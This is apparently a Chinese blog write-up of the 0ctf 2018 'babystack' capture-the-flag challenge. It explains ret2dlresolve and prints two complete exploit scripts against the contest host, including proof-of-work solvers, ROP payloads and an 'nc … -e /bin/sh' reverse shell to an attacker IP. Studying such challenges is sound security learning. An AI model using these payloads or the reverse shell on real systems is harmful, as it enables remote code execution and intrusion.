ret2resolve
题目:0ctf 2018 babystack
上周末做了TCTF(0ctf 2018)的新人赛,题目难度适中,但垃圾如我一如既往没有做出几道题。在7o8v大佬的帮助下,弄懂了babystack的考察点和ret2resolve的利用原理,因此对照着wp记录一波。
0x01 ret2dlresolve原理
当一个程序第一次调用libc中的函数时,必须首先对libc中函数的真实地址进行重定位,而这个绑定寻找真实地址的过程由dl_runtime_resolve完成。 dl_runtime_resolve需要两个参数,一个是link_map=*(GOT[1]),即链接器标志信息和reloc_arg(标志该函数重定位入口偏移),我们需要做的就是控制reloc_arg从而使dl_runtime_resolve将函数重定位到我们能控制的地方。
利用方法:
1.控制eip为PLT[0]的地址,只需传递一个index_arg参数 2.控制index_arg的大小,使reloc的位置落在可控地址内 3.伪造reloc的内容,使sym落在可控地址内 4.伪造sym的内容,使name落在可控地址内 5.伪造name为任意库函数,如system
详细内容参照: 7o8v大佬的博客 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ CTFwiki 这里写一下我在研究的过程中出现的问题:
pwn4fun:
构造payload的时候为什么会需要 ppp_ret这个gadgets,而7o8v的博客里这个地方写的却是overflow(程序本来溢出点的地址)?? 答:read函数的参数是通过栈传递的(我刚开始以为是寄存器传递所以需要ppp_ret,类似于ret2syscall),所以当read函数执行完时,程序会返回ppp_ret的地址,会将写入栈中的3个参数全都pop出来,此后栈的样子和调用read之前是一样的。而7o8v的博客里这个地方写overflow是直接返回程序本来溢出的地址。所以两个方法的功能是一样的。
payload2的刚开始为什么是“AAAA” 答:payload2接上一个paylaod的leave->pop ebp ; ret(pop eip),所以“AAAA”将会被作为ebp(我们并不需要关注ebp是什么)被pop出来,而下一项将会被pop到eip中
index_offset = (base_stage + 28) - rel_plt 这里的28是怎么来的? 答:其实这里不一定非得是28,你可以改成任何的数,但注意最后的fake_reloc在栈上的位置要和这里的一致。
0x02 题目分析
程序打开了NX保护,有明显的栈溢出
但是这道题的问题在于:
没有输出,找不到write函数,所以无法进行内存泄露没有提供libc,所以不可能计算偏移(ret2libc不可行)开启NX保护,所有把shellcode布置到栈中的操作都不可行
这三条限制了绝大多数的rop方法,所以只能使用ret2dlresolve 在本题利用这个漏洞的方法中,我学习了两个exp,一个出自7o8v大佬,一个出自https://kileak.github.io/ctf/2018/0ctf-qual-babystack/ ,先将两个exp都做下分析
0x03 exploit
exp1
from pwn
import *
from hashlib
import sha256
context(log_level =
'debug')
EXCV =
'./babystack'
e = ELF(EXCV)
libc = e.libc
io = remote(
'202.120.7.202',
'6666')
def debug():
gdb.attach(io)
overflow =
0x0804843B
dynsym =
0x080481cc
dynstr =
0x0804822c
rel_plt =
0x080482b0
bss =
0x0804A020
base = bss+
0x400
fake_rel_addr = base+
80
fake_sym_addr = fake_rel_addr+
8
pop_ebp =
0x080484eb
ppp_ret =
0x080484e9
lev_ret =
0x080483a8
plt_0 =
0x080482F0
align =
0x10-(fake_sym_addr-dynsym)&
0xf
fake_sym_addr += align
index_dynsym = (fake_sym_addr-dynsym)/
0x10
r_info = (index<<
8)|
7
fake_str_addr = fake_sym_addr+
0x10
str_off = fake_str_addr-dynstr
shell = base+
128
rel_off = fake_rel_addr-rel_plt
rd_plt = e.plt[
'read']
rd_got = e.got[
'read']
fake_reloc=p32(rd_got)+p32(r_info)
fake_sym=p32(str_off)+p32(
0)+p32(
0)+p32(
0x12)
def crack(chal,sol):
sh = sha256(chal + sol)
if(sh.digest().startswith(
'\0\0\0')):
log.success(sh)
return 1
return 0
chal = io.recvline()
sol =
''
for i
in xrange(
0,
0x100000000):
tsol = p32(i)
if(crack(chal,tsol)==
1):
sol = tsol
break
io.send(sol)
raw_input()
payload =
'a'*(
0x2c)
payload += p32(rd_plt)
payload += p32(overflow)
payload += p32(
0)
payload += p32(base)
payload += p32(
0x1000)
io.send(payload)
raw_input()
payload2 =
'AAAA'
payload2 += p32(plt_0)
payload2 += p32(rel_off)
payload2 +=
'AAAA'
payload2 += p32(shell)
payload2 +=
'A'*(
80-len(payload))
payload2 += fake_reloc
payload2 +=
'B'*align
payload2 += fake_sym
payload2 +=
'system\x00'
payload2 +=
'C'*(
128-len(payload))
payload2 +=
'/bin/sh\x00'
payload2 +=
'END'
io.send(payload2)
raw_input()
payload3 =
'a'*
0x2c
payload3 += p32(pop_ebp)
payload3 += p32(base)
payload3 += p32(lev_ret)
io.send(payload3)
io.interactive()
这个exp可以在本地运行成功,但由于服务器端把输出重定向到/dev/null,因此必须反弹一个shell,学习这个exp是为了搞清这个rop的原理,反弹shell的实验并没有进行。
exp2
from pwn
import *
import roputils, sys, string, itertools
from hashlib
import sha256
LOCAL =
True
HOST =
"202.120.7.202"
PORT =
6666
charset = string.letters+string.digits
def calcpow(chal):
for combo
in itertools.combinations_with_replacement(string.letters+string.digits,
4):
sol =
''.join(combo)
if sha256(chal + sol).digest().startswith(
"\0\0\0"):
return sol
return None
def get_connection():
return remote(
"localhost",
6666)
if LOCAL
else remote(HOST, PORT)
def exploit():
log.info(
"Solve pow ")
sol =
None
while sol ==
None:
r = get_connection()
sol = calcpow(r.recvline().strip())
if sol ==
None:
r.close()
r.send(sol)
log.info(
"Stage1: Prepare bigger read for ropchain")
payload =
"A"*
40
payload += p32(
0x804a500)
payload += p32(
0x8048446)
payload += p32(
80)
payload +=
"B"*(
64-len(payload))
log.info(
"Stage2: Send ret2dlresolve executing reverse shell")
payload +=
"A"*
40
payload += p32(
0x804a500)
rop=roputils.ROP(
'./babystack')
addr_bss = rop.section(
'.bss')
payload += rop.call(
"read",
0, addr_bss,
150)
payload += rop.dl_resolve_call(addr_bss+
60, addr_bss)
payload2 = rop.string(
"nc %s 7777 -e /bin/sh" % IP)
payload2 += rop.fill(
60, payload2)
payload2 += rop.dl_resolve_data(addr_bss+
60,
"system")
payload2 += rop.fill(
150, payload2)
payload += payload2
payload = payload.ljust(
0x100,
"\x00")
r.sendline(payload)
r.interactive()
return
if __name__ ==
"__main__":
e = ELF(
"./babystack")
if len(sys.argv) >
1:
LOCAL =
False
exploit()
else:
LOCAL =
True
exploit()
这个exp使用了roputils工具,让整个攻击过程简化了很多,这个工具提供了很多example,可以让这种问题很轻松的解决。